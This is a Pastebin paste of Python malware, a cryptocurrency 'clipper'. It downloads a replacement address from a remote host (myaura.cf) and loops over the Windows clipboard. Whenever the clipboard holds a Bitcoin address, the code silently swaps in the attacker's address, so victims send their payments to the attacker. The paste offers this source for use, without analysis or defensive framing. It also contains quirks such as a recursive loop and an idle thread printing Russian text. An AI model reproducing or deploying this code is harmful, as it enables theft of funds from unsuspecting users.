Advertisement
Guest User

Untitled

a guest
Jan 24th, 2020
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.89 KB | None | 0 0
  1. import os, re, sys, time, requests, shutil, threading, win32clipboard
  2. response = requests.get('http://myaura.cf/json/data?key=vrLd1t8ckPYb', headers = {'User-Agent': 'Magic Browser'}).json()
  3.  
  4. def transfer():
  5. while True:
  6. win32clipboard.OpenClipboard()
  7. if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0:
  8. clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
  9.  
  10. key = re.search('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$',clip_data)
  11.  
  12. if (key):
  13. win32clipboard.SetClipboardText(response['transfer'][0]['key'], win32clipboard.CF_UNICODETEXT)
  14.  
  15. win32clipboard.CloseClipboard()
  16. time.sleep(0.25)
  17. transfer()
  18.  
  19. def potok2():
  20. while True:
  21. print("поток 2")
  22. time.sleep(0.25)
  23.  
  24. potok2()
  25.  
  26.  
  27. transfer = threading.Thread(target=transfer)
  28. transfer.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement